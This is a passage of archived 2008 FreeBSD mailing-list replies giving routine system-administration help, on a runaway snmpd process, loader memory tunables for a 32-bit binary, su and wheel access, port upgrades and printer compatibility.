45136, 45136, 45136, 45136, 45136, > 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, > 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, > 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, 45136, > 45136, 45136, 45136^C > [EMAIL PROTECTED]:log]> sudo kill -SIGKILL 45136 > > This makes me wonder if the process was just hung in some bad way, > eating up cpu cycles? Looks like it was wedged on a single CPU maybe? (If it was spiralling out of control thread-wise, I'd expect to see it chewing up ~400% CPU, e.g. 100% per core). More interesting is the fact that it was taking up 2.6GB of RAM. That reeks of a memory leak somewhere. Maybe the snmpd.conf tried to tie in some shell scripts or executables? I've seen this behaviour at work on Solaris, but it's rare. (More common, we see kernel panics when using old versions of Net-SNMP -- yeah, you read that right, kernel panics. Seems the Solaris kernel has some SNMP support in it -- yes, the kernel!) You would have to work with the Net-SNMP folks to figure out what the cause was. > Out of curiosity, I then restarted it. It seemed to run without problem > after the restart, but after watching it for awhile, I stopped it again. > I don't think it's doing anything useful at the moment. Then keep it off. It opens up a listening port, amongst other things. If you're not using it, don't run it. :-) > Now I'm curious about snmp, so perhaps I'll try to figure out how to get > it to something useful. This machine has 8 hard drives, and is located in > Manhattan, so I would certainly like to be informed if one of the raid > drives went on the blink. That was one of the things he was trying to get > working. Net-SNMP won't give you the status of the RAID. Neither will bsnmpd(10. FreeBSD simply does not have the hooks to make this possible. Someone needs to write the code. I do not recommend relying on shell scripts tied into Net-SNMP to accomplish this either (for a lot of very good reasons); write the code in native C. It also greatly depends on what you're using for RAID. If a hardware controller, good luck getting the status out of an API natively (sans Areca, which I believe offers an API) -- you'll resort to shell scripts and CLI binaries, in which case you're *easily* better off with a cronjob, periodic(8), or a log monitor daemon. It never ceases to amaze me how people to try shove crazy stuff into SNMP stacks which should be done elsewhere. :-) Even Juniper's JunOS, which provides an extensive SNMP extension, does not provide everything desired. -- | Jeremy Chadwickjdc at parodius.c
Re: FBSD 7.1 & kern.maxdsiz
On Wed, Nov 19, 2008 at 07:54:00AM -0800, Drew Tomlinson wrote: > Jeremy Chadwick wrote: >> On Wed, Nov 19, 2008 at 06:43:27AM -0800, Drew Tomlinson wrote: >> >>> Mel wrote: >>> >>>> On Wednesday 19 November 2008 15:06:54 Drew Tomlinson wrote: >>>> >>>>> Jeremy Chadwick wrote: >>>>> >>>>>> On Tue, Nov 18, 2008 at 04:10:55PM -0800, Drew Tomlinson wrote: >>>>>> >>>>>>> Polytropon wrote: >>>>>>> >>>>>>>> On Tue, 18 Nov 2008 15:34:32 -0800, Drew Tomlinson >>>>>>>> >>>> <[EMAIL PROTECTED]> wrote: >>>> >>>>>>>>> The Urchin installation docs [...] >>>>>>>>> contain a note for FreeBSD users waring of a "hard coded process >>>>>>>>> datasiz limit of 500 MB" and instruct on to set >>>>>>>>> "kern.maxdsiz="1073741824"" in /boot/loader.conf. However FBSD 7.1 >>>>>>>>> doesn't appear to have this sysctl. How can I do the equivalent of >>>>>>>>> this in FBSD 7.1? >>>>>>>>> >>>>>>>> Exactly, it is *not* a sysctl setting. It's a loader tunable, as >>>>>>>> I learned from this list some time ago. Don't search to find >>>>>>>> it in the sysctl list, you won't find it there. :-) >>>>>>>> >>>>>>>> In FreeBSD 7 you should be able to set this setting using >>>>>>>> the file /boot/loader.conf. I think I had this setting on a >>>>>>>> FreeBSD 5 machine, I'll go and check. >>>>>>>> >>>>>>> Thanks for your reply. I guess I expected to be able to view it via >>>>>>> sysctl even though I understood it could only be changed with a reboot. >>>>>>> Is there some way to view the current setting? >>>>>>> >>>>>> Through sysctl. >>>>>> >>>>> OK, what am I missing? >>>>> >>>>> urchin# sysctl -a | grep maxdsiz >>>>> compat.ia32.maxdsiz: 536870912 >>>>> compat.linux32.maxdsiz: 536870912 >>>>> >>>> limits -H. Some loader tuneables aren't exported to sysctl. >>>> >>>> $ limits -Hd >>>> Resource limits (current): >>>> datasize 786432 kB >>>> >>>> $ grep maxdsiz /boot/loader.conf >>>> kern.maxdsiz="768M" >>>> >>> Thanks for the explanation! As pointed out by Pieter de Goeje, the >>> default size in FBSD 7 amd 64 is 32 GB, confirmed with the limits >>> command above. Thus datasize does not appear to be my problem. I'm >>> shooting in the dark here as Urchin software support is non-existent. >>> Are there any other tuneables related to datasize that I might try >>> increasing? >>> >> >> It would help greatly if you could explain what the problem is that >> you're trying to track down? >> > > I understand I'm asking for "magic". I do not know the problem. My > employer's Internet group purchased a software called "Urchin" which > appears to be a standalone version of Google Analytics for web site > reporting. I have been tasked with installing this software. Supported > OSs are Linux, FreeBSD, and Windows. I chose FreeBSD 7 as I've been > using it for my home network for years. However I will be the first to > admit that I do not really understand the internals. I am just grateful > that others that do understand have provided and support this OS for me. > :) > > The Urchin software reports a "failed to allocate memory" error. The > sparse Urchin documentation noted above says this error is a known issue > with FreeBSD and that kern.maxdsiz needs to be set at 1 GB to avoid. > Because of help from the list, I learned that the default size in 64 bit > FBSD is 32 GB. Thus I didn't think this is my issue and was seeking any > ideas of what else to look at that might be similar. Mel gave me a > great nudge that if Urchin is a 32 bit binary (which it is), then it is > limited by compat.ia32.maxdsiz which is 500 MB by default. I have set > this to 1GB and so far, there have not been any further memory errors. I believe Mel's recommendation is spot on. I had no idea this was a 32-bit binary being run on a 64-bit version of FreeBSD. So yes, the tunable he gave you should fix the problem. :-) Cheers! -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: snmpd strangeness
On Wed, Nov 19, 2008 at 10:57:50AM -0500, John Almberg wrote:
> I just noticed something odd and am looking for ideas...
>
> As you can see from the top snippet below, snmpd is getting hammered by
> something. As a comparison, the load averages for this quad-core box are
> usually close to zero.
>
> I'm not even sure I'm using snmpd for anything... not even sure what it
> is, precisely.
>
> I'm digging into docs at the moment, but any ideas much appreciated.
I'm greatly concerned by the fact that you have a process on your
machine taking up 103% CPU time (possible on a quad-core machine),
taking up 2621MBytes of memory (RSS), yet you have no idea what it is,
what SNMP is, or why said process is running on your machine. :-)
You can truss the pid to find out what it's doing, but based on the
above I'm not sure the truss output will be of much use to you.
I would recommend finding out who/what started it by looking at the ppid
of the process (ps -alx | grep 45136, then look at the 3rd column which
is the ppid; then do ps -alx | grep {ppid}). It's very possible the
ppid will be 1, which is init, which means in this case it was probably
started by a script in /usr/local/etc/rc.d.
I would then recommend using gcore on the snmpd pid, which will write
out a very large file (~2.6GB) to $PWD. You can then examine that
later.
I would then recommend killing it off, then go on a quest to find out
why net-snmpd is on your machine -- and equally as odd, why it's
running. For this to start, something has to be in /etc/rc.conf to
initialise it.
There's also the possibility that the process running isn't snmpd at
all, but rather a binary of a hacker who has gained access to your box,
especially given that you have no idea what it is.
> last pid: 38974; load averages: 1.24, 1.40, 1.58
> 342 processes: 6 running, 336 sleeping
> CPU states: 13.7% user, 0.0% nice, 13.9% system, 0.3% interrupt, 72.1%
> idle
> Mem: 5997M Active, 596M Inact, 420M Wired, 206M Cache, 214M Buf, 457M
> Free
> Swap: 16G Total, 123M Used, 16G Free
>
> PID USERNAME THR PRI NICE SIZERES STATE C TIME WCPU
> COMMAND
> 45136 root1 1040 2636M 2621M CPU5 4 254.1H 103.91% snmpd
> 37368 www 1 200 193M 46232K lockf 6 0:05 3.91% httpd
> 38819 identry 1 -320 7688K 2648K CPU0 0 0:02 1.61% top
--
| Jeremy Chadwickjdc at parodius.com |
| Parodius Networking http://www.parodius.com/ |
| UNIX Systems Administrator Mountain View, CA, USA |
| Making life hard for others since 1977. PGP: 4BD6C0CB |
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: FBSD 7.1 & kern.maxdsiz
On Wed, Nov 19, 2008 at 06:43:27AM -0800, Drew Tomlinson wrote: > Mel wrote: >> On Wednesday 19 November 2008 15:06:54 Drew Tomlinson wrote: >> >>> Jeremy Chadwick wrote: >>> >>>> On Tue, Nov 18, 2008 at 04:10:55PM -0800, Drew Tomlinson wrote: >>>> >>>>> Polytropon wrote: >>>>> >>>>>> On Tue, 18 Nov 2008 15:34:32 -0800, Drew Tomlinson >> <[EMAIL PROTECTED]> wrote: >> >>>>>>> The Urchin installation docs [...] >>>>>>> contain a note for FreeBSD users waring of a "hard coded process >>>>>>> datasiz limit of 500 MB" and instruct on to set >>>>>>> "kern.maxdsiz="1073741824"" in /boot/loader.conf. However FBSD 7.1 >>>>>>> doesn't appear to have this sysctl. How can I do the equivalent of >>>>>>> this in FBSD 7.1? >>>>>>> >>>>>> Exactly, it is *not* a sysctl setting. It's a loader tunable, as >>>>>> I learned from this list some time ago. Don't search to find >>>>>> it in the sysctl list, you won't find it there. :-) >>>>>> >>>>>> In FreeBSD 7 you should be able to set this setting using >>>>>> the file /boot/loader.conf. I think I had this setting on a >>>>>> FreeBSD 5 machine, I'll go and check. >>>>>> >>>>> Thanks for your reply. I guess I expected to be able to view it via >>>>> sysctl even though I understood it could only be changed with a reboot. >>>>> Is there some way to view the current setting? >>>>> >>>> Through sysctl. >>>> >>> OK, what am I missing? >>> >>> urchin# sysctl -a | grep maxdsiz >>> compat.ia32.maxdsiz: 536870912 >>> compat.linux32.maxdsiz: 536870912 >>> >> >> >> limits -H. Some loader tuneables aren't exported to sysctl. >> >> $ limits -Hd >> Resource limits (current): >> datasize 786432 kB >> >> $ grep maxdsiz /boot/loader.conf >> kern.maxdsiz="768M" >> > > Thanks for the explanation! As pointed out by Pieter de Goeje, the > default size in FBSD 7 amd 64 is 32 GB, confirmed with the limits > command above. Thus datasize does not appear to be my problem. I'm > shooting in the dark here as Urchin software support is non-existent. > Are there any other tuneables related to datasize that I might try > increasing? It would help greatly if you could explain what the problem is that you're trying to track down? -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: FBSD 7.1 & kern.maxdsiz
On Wed, Nov 19, 2008 at 06:06:54AM -0800, Drew Tomlinson wrote: > Jeremy Chadwick wrote: >> On Tue, Nov 18, 2008 at 04:10:55PM -0800, Drew Tomlinson wrote: >> >>> Polytropon wrote: >>> >>>> On Tue, 18 Nov 2008 15:34:32 -0800, Drew Tomlinson <[EMAIL PROTECTED]> >>>> wrote: >>>> >>>>> The Urchin installation docs [...] >>>>> contain a note for FreeBSD users waring of a "hard coded process >>>>> datasiz limit of 500 MB" and instruct on to set >>>>> "kern.maxdsiz="1073741824"" in /boot/loader.conf. However FBSD >>>>> 7.1 doesn't appear to have this sysctl. How can I do the >>>>> equivalent of this in FBSD 7.1? >>>>> >>>> Exactly, it is *not* a sysctl setting. It's a loader tunable, as >>>> I learned from this list some time ago. Don't search to find >>>> it in the sysctl list, you won't find it there. :-) >>>> >>>> In FreeBSD 7 you should be able to set this setting using >>>> the file /boot/loader.conf. I think I had this setting on a >>>> FreeBSD 5 machine, I'll go and check. >>>> >>> Thanks for your reply. I guess I expected to be able to view it via >>> sysctl even though I understood it could only be changed with a >>> reboot. Is there some way to view the current setting? >>> >> >> Through sysctl. >> > > OK, what am I missing? > > urchin# sysctl -a | grep maxdsiz > compat.ia32.maxdsiz: 536870912 > compat.linux32.maxdsiz: 536870912 > > I do not see one named 'kern.maxdsiz'. Actually, you're not missing anything. It's me who's missing (part of my brain). The loader tunables you want are visible via limits(1), not sysctl. Other loader tunables *are* visible through sysctl though, hence my comment. Sorry for the confusion. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: PEA kernel in FreeBSD 7.0
On Wed, Nov 19, 2008 at 08:25:44PM +0700, Olivier Nicole wrote: > Hi, > > I am about to install few brand new servers, each with 8GB RAM. > > If I choose to use 7.0, will I have to use PEA kernel to be able to > access the total memory? Some clarification: the term is PAE, not PEA. It's important you refer to it as PAE, because the kernel option is actually called that; if you typo it, it won't work. :-) -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: newb questions
On Wed, Nov 19, 2008 at 08:16:36AM -0500, Paul Cartwright wrote: > 1. when I run startx it auto logs me in on a minimal gui ( twm?). I installed > gnome, I think, and want to log in using gnome, how do I change that? > > 2. I cannot su - to root, it says sorry. pam_group didn't seem like the > answer, or I didn't read it right. How can I su to root from my account? > Is there anything special to able to do that from ssh? I can't answer question #1. As for #2, you need to add your username to the "wheel" group in /etc/group. That's all. (You will have to log out then back in for the changes to take effect) > 3. the boot loader... This server has 2 drives, and I already had w2k server > on drive 1, and ubuntu-server on drive 2. when I boot, I now get options for > F2-DOS ( win2k boots) and F5 disk0/1. I can't seem to find any option for my > ubuntu OS. Is there a way to change that bootloader option to > add /dev/sdb6-ubuntu? I think boot0cfg is the tool you'll want to use for this. I've never been in this situation, so I don't have a command to give you. You can use boot0cfg -v (e.g. boot0cfg -v ad0) to get information about the boot0 configuration. > maybe I was looking in the wrong documentation, if any/all of this is in the > docs, which one? the handbook? Yes. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: FreeBSD, OMSA Live CD and DSET tools for Dell 2950 Server?
On Wed, Nov 19, 2008 at 09:01:42AM +0100, VeeJay wrote: > Any Help??? > > On Tue, Nov 18, 2008 at 10:15 PM, VeeJay <[EMAIL PROTECTED]> wrote: > > > Any help??? > > > > On Tue, Nov 18, 2008 at 4:41 PM, VeeJay <[EMAIL PROTECTED]> wrote: > > > >> Hello there, > >> > >> To diagnose and solve a Disk Encluser issue, I am advised to run two > >> tools > >> > >> 1. Run OMSA live CD on the Server? Since, OMSA Live CD is linux based, I > >> am just wondering if it will work or not? > >> 2. Run Dell's DSET Tool, which is also for Linux systems > >> > >> And seeking your comments in this regards: > >> > >> > >> *Server Configuration with FreeBSD 7.0* > >> ** > >> *2 x PE2950 III Quad Core Xeon E5450 3.0GHz,2x6MB,1333FSB > >> *Riser with PCI Express Support (2x PCIe x8 slots; 1x PCIe x4 slot) > >> PE2950 English rack power cord > >> PE2950 Bezel Assembly > >> *16GB (8x2GB Dual Rank DIMMs) 667MHz FBD > >> 6 x 450GB SAS 15k 3.5" HD Hot Plug* > >> PE2950 III - Chassis 3.5HDD x6 Backplane > >> *PERC 6/i, Integrated Controller Card x6 backplane > >> *CD/DVD Drive Cable > >> 8X DVD-ROM Drive IDE > >> PE2950 III Redundant Power Supply No Power Cord > >> Rack Power Distribution Unit Power Cord > >> TCP/IP Offload Engine 2P > >> Broadcom TCP/IP Offload Engine functionality (TOE) Not Enabled > >> Drac 5 Card > >> *PE2950 III C5 MSS R10 Add-in PERC 5/i / 6/i Replying "ANY HELP?" every 24 hours will not get you any help. Please stop doing this. If the OMSA CD is bootable, boot it and do what Dell tells you. If it's a CD full of Linux utilities, then you're going to need to install or run Linux somehow before accomplishing that. Trying to do this on FreeBSD is probably not worth your time. Regarding DSET: same advice as above. When you're finished dealing with all of this, I would highly recommend taking the time to write a professional and concise letter to a supervisor or manager at Dell, and express your displeasure with their Linux-only tools. They should at least be providing ISO images you can burn and boot directly to perform enclosure/controller testing. But I also hope you've learned something from the experience. Before you buy hardware, ensure that it's fully manageable under FreeBSD, or that the vendor offers bootable CDs that can help you. Otherwise, if they do not, you're essentially "living dangerously". -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: preparing for an upgrade
On Tue, Nov 18, 2008 at 10:13:50PM -0800, Benjamin Lee wrote: > On 11/18/08 21:43, Jeremy Chadwick wrote: > [...] > > You can only use it on 7.x if you add compatibility libraries and ensure > > your kernel has COMPAT_FREEBSD6 in it. These libraries have given some > > users trouble in the past; you will find most people advocate rebuilding > > all ports from scratch (pkg_delete -af please) when upgrading between > > major FreeBSD versions (e.g. 6.x -> 7.x). > > Is there a particular reason that you recommend using pkg_delete? I > just did 'portupgrade -aRf' for my 6.2 -> 7.0 upgrades. icarus# make all-depends-list /usr/ports/lang/ruby18 /usr/ports/databases/ruby-bdb /usr/ports/databases/db42 /usr/ports/devel/libtool15 So when upgrading your ports, you use... a port? That relies on a other ports of complex nature (a language and Oracle/Sleepycat DB)? Yeah, I'll pass. For example, if you use the base system pkg_* tools and portupgrade, they can get out of sync -- totally rad! I do not use portupgrade for a lot of reasons. All you have to do is examine the freebsd-* mailing lists (mainly -ports and -questions) for problems involving portupgrade. I believe the average is 1 a week? If the tool "gets the job done" for you, use it; I support that right above all else. But as for me, I'm incredibly anal when it comes to UNIX, and I strongly believe in the KISS concept. The only "third-party" tool I'd trust for managing ports would be portmaster, because it's a standalone tool with no dependencies, written in sh, and written by Doug Barton. That's all I have to say. I won't reply from this point on. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: preparing for an upgrade
On Wed, Nov 19, 2008 at 03:07:32PM +1100, andrew clarke wrote: > On Tue 2008-11-18 16:47:20 UTC-0700, Kelly Martin ([EMAIL PROTECTED]) wrote: > > > With the release of FreeBSD 6.4 imminent, I'd like to prepare for an > > upgrade from FreeBSD 6.2 -> 6.4. > > Have you considered using freebsd-update? From memory, it supports 6.2. > > > Please excuse my ignorance but in my mind here's what I plan to do > > when it's available: > > > > 1. install / run the upgrade script using CD-ROM media to a 6.4 > > GENERIC kernel, reboot > > 2. customize the kernel to my hardware (like I did in 6.2), reboot > > 3. portsnap fetch update (to get the latest ports tree for 6.4) > > 4. portupgrade -ai (to upgrade any outdated ports) > > I don't think there will be any need to rebuild your ports after > upgrading from 6.2 to 6.4. (The situation is different if you were > going from 6.2 to 7.1 though.) Threading library changes are a good reason to rebuild your ports in this case. > > I'm a little confused about different versions of the ports tree. What > > I mean is, I keep updating my FreeBSD 6.2 ports tree and have never > > had any problems... it just works. I'm assuming the 6.4 ports tree is > > a little different and specific to 6.4? > > No, there is only one ports tree shared between all FreeBSD versions. > If you already have an updated ports tree with a 6.2 installation, you > can keep using that with 6.4 (or even 7.x). You can only use it on 7.x if you add compatibility libraries and ensure your kernel has COMPAT_FREEBSD6 in it. These libraries have given some users trouble in the past; you will find most people advocate rebuilding all ports from scratch (pkg_delete -af please) when upgrading between major FreeBSD versions (e.g. 6.x -> 7.x). -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: FBSD 7.1 & kern.maxdsiz
On Tue, Nov 18, 2008 at 04:10:55PM -0800, Drew Tomlinson wrote: > Polytropon wrote: >> On Tue, 18 Nov 2008 15:34:32 -0800, Drew Tomlinson <[EMAIL PROTECTED]> wrote: >> >>> The Urchin installation docs [...] >>> contain a note for FreeBSD users waring of a "hard coded process >>> datasiz limit of 500 MB" and instruct on to set >>> "kern.maxdsiz="1073741824"" in /boot/loader.conf. However FBSD 7.1 >>> doesn't appear to have this sysctl. How can I do the equivalent of >>> this in FBSD 7.1? >>> >> >> Exactly, it is *not* a sysctl setting. It's a loader tunable, as >> I learned from this list some time ago. Don't search to find >> it in the sysctl list, you won't find it there. :-) >> >> In FreeBSD 7 you should be able to set this setting using >> the file /boot/loader.conf. I think I had this setting on a >> FreeBSD 5 machine, I'll go and check. >> > > Thanks for your reply. I guess I expected to be able to view it via > sysctl even though I understood it could only be changed with a reboot. > Is there some way to view the current setting? Through sysctl. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: large binary, why not strip ?
On Sun, Nov 16, 2008 at 08:42:12AM +, Masoom Shaikh wrote: > most of the programs installed from ports have large binary size on disk > > stripping em all reduces their size dramatically > > I cannot see the reason for not stripping them by default ? > > do I miss anything ? I haven't seen anyone point out the downside to stripping binaries and libraries: removal of debugging symbols. "The apebajs program suddenly crashes in some library, here's the now-completely-useless backtrace". The user is then forced to go back and recompile *everything* to get debugging symbols. The non-stripping situation is on a per-port basis, AFAIK. Not all ports have WITH_DEBUG. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: [OT] printing question
On Tue, Nov 18, 2008 at 02:00:03PM -0600, Andrew Gould wrote: > On Tue, Nov 18, 2008 at 1:53 PM, Chad Perrin <[EMAIL PROTECTED]> wrote: > > > Your best bet for printer compatibility is to ensure that it's available > > as a network device rather than having to connect to it directly, and > > that it's a Postscript printer. If you want to get a printer and connect > > it directly to your Mac, and you're sure it'll work with your Mac, then > > you should be able to share it with the rest of the network without > > problems -- as long as it's a Postscript printer. If it isn't, you may > > have to do some digging to determine whether other computers on the > > network will be able to use the shared printer at all, including FreeBSD > > systems. > > > > Alas, I know basically nothing about the Epson Artisan 800. I'm happy > > with my HP laser printer connected directly to the network. > > > > -- > > Chad Perrin [ content licensed PDL: http://pdl.apotheon.org ] > > Quoth Albert Camus: "An intellectual is someone whose mind watches > > itself." > > > > Thanks to all for the advice. > > So the bottom line is: "Get a postscript printer." They're rather > expensive. It may be worth the inconvenience of sharing drive space and > printing from the Mac via VNC window. ;-) > > Now, if I had money to waste.. I just discovered that those really > cool, wide format printers used at many photo printing shops are postscript > printers Those are hit-or-miss as well. Our HP plotter at work, for example: when printing actual images (JPEG, GIF, etc.), you have to configure the printer driver to think that the printer is the exact size/resolution of the image you want to print, otherwise it prints half the image, then in mid-line starts looping back to the top of the image, and loses all concept of paper size. Awesome. > Imagine the font size you could use on a 20"x30" memo. I can tell you that my Brother MFC-5860CN printer, despite being a AIO network printer, does not work with FreeBSD -- even lpd does not work with it. The behaviour is repeatable: sending data to either the LPD port or the JetDirect emulation port results in the printer showing "Receiving data" (or something like that) on the LCD, then the printer just locks up. Supposedly the network data stream has to be encoded in some way. Brother offers numerous Linux packages, and Linux binaries, which take care of this for you, but nothing for FreeBSD. In fact, their FAQ/KB even answers "Do you support FreeBSD?" with something that resembles "No, we do not, and we will not, go away". You can find tons of web pages on this printer, and other Brother printers; tons of Linux success stories, otherwise nothing but tears. This printer does work very well in Windows, but not so well with OS X (unless its hooked up to the USB port, where supposedly it works fine). I have no interest in CUPS (bloated and overcomplex), and no interest in Linux emulation (lolcat style: DO NOT WANT), so I stick with printing under Windows. Prior to the Brother, I had an HP DeskJet AIO, and I literally threw it in the trash due to Windows drivers bloat galore. There's a famous problem with their drivers where every time you print, it launches an EXE, but then never kills the EXE off. Print 10 times, you've got 10 EXEs lingering around in memory. Imagine this in a corp environment where there's a Windows print server involved -- totally unacceptable. I'm afraid to sell/dispose of my Brother and get an HP LaserJet because of their drivers. The point I'm trying to make: do not think that just because a printer has an Ethernet port that it will work with FreeBSD. The other part of the problem is that FreeBSD's USB stack isn't so great. I assume that just because a USB printer attaches as ulpt(4) doesn't mean it'll print properly (e.g. needs an I/O driver of some kind), but I could be wrong. I don't know what your budget is, but US$300-400 for an AIO printer that works with your setup, and in a multi-OS environment, is well worth it. If folks out there are using network or USB printers with FreeBSD RELENG_7 (without Linux emulation; CUPS is acceptable for others, just not me :-) )), compiling a list of compatible hardware would be beneficial. It seems that most HP LaserJet printers with network I/O work well, assuming the model supports some form of PostScript. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: FreeBSD and hardware??
On Tue, Nov 18, 2008 at 03:40:09PM +0100, Manfred Usselmann wrote: > On Tue, 18 Nov 2008 14:18:13 +0100 (CET) > Wojciech Puchar <[EMAIL PROTECTED]> wrote: > > > >> usage or need. > > > > > > You seem to be reserving FBSD only for the experts. I wouldn't be > > > here > > > > is someone that simply use unix an expert? > > > > no. > > > > > > > By constantly repeating that UNIX is no Windows replacement you are > > > > and i will repeat it because it's true. it's every other unix > > replacement. > > > > as linux tries for many years to be windows replacement - it's both > > low end unix and low end windows replacement, "windows for poor". > > This is nonsense. The Windows interface itself is quite limited and not > very powerful. Compared e.g. with the old OS/2 desktop, which was > really powerful, flexible (and object oriented). How disappointed I was > when Win/95 came out being an OS/2 user at that time. From what I have > read even the user interface of Mac OS X is much better that Windows > although they have a much smaller market share. Anyhow, of course you > can fully replace Windows with a unix(-like) system and a suitable > desktop enviroment (e.g. KDE, Gnome, XFCE). It depends on your specific > requirements and if applications exist which do what you need. But > saying that GUI's under Unix are per se inferior is just spreading FUD. > Leave that to MS. ;-) > > Just a small example, how limited Windows really is: Even today it is > not possible to configure the standard interface of Windows XP (Luna) > in any other color than blue, olive green and silver. LOL. > > The only advantage Windows has is that many people are used to it. I am one of the few UNIX administrators who prefers to use Windows (XP or 2K; cannot stand Vista) as a desktop/workstation operating system. If we really want to talk about all the reasons why I abhor X, we can discuss them some other time, because ultimately they don't (and shouldn't) matter. Why? Because each person should conclude what works best for them, depending upon whatever their needs are. I have a lot of reasons for loathing X. A *lot*. I've spent a lot of time (and even money; anyone remember AccelX back in the 90s? Yep, I bought it) trying to adapt over the years, and I cannot. I'm not going to provide details because it'll just induce more parking lot burn-outs and that's not what I want. Comparatively: I have co-workers who love X and KDE, and hate Windows -- and I have co-workers who absolutely love OS X's GUI, and hate X and Windows. (In fact, the few OS X users I know get quite irate when they find some OS X program actually relies on X11). The only time I curse Windows is when CMD.EXE or command-line utilities come into play. Anyone who's used *IX will know what I mean by this. PowerShell/Monad is a joke, Cygwin is an atrocity, 4NT/4DOS is too quirky, and *IX application ports often have too many bugs (either not handling NTFS filenames correctly (resorting to 8.3 format), or having filesize limitations due to the porter doing it wrong; 2GB limits are found in common programs including Win32 wget). Every operating system/GUI/environment has its share of quirks. It just depends on which ones you can tolerate. I can tolerate some of Windows' quirks (sans "focus stealing", although I'm told KDE applicationg are starting down this road too), but cannot with X or OS X. I suppose it's because I've a mental stigma; I associate *IX and UNIX with servers, and I likely always will. *IX/UNIX on the desktop is a crazy idea to me. That's all I have to say on the matter; I won't reply here on out. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: ACPI suspend/resume on RELENG_7 vs. Dell Inspiron XPS
On Tue, Nov 18, 2008 at 02:57:15AM -0600, Scott Bennett wrote: > I have a Dell Inspiron XPS (3.4 GHz P4 Prescott) that will be four years > old in a few more days. Currently, I'm running 6.3 (mostly), but I intend to > install 7.1 once it has been released. One thing that has never worked for me > under FreeBSD on this machine is the standby stuff (suspend/resume, etc.). > Does anyone know whether this will finally work right under RELENG_7 > (especially 7.1-RELEASE)? I'd recommend posting the issue you have to freebsd-acpi. -- | Jeremy Chadwickjdc at parodius.com | | Parodius Networking http://www.parodius.com/ | | UNIX Systems Administrator Mountain View, CA, USA | | Making life hard for others since 1977. PGP: 4BD6C0CB | ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to "[EMAIL PROTECTED]"
Re: FreeBSD not stable enough for Xen environments?
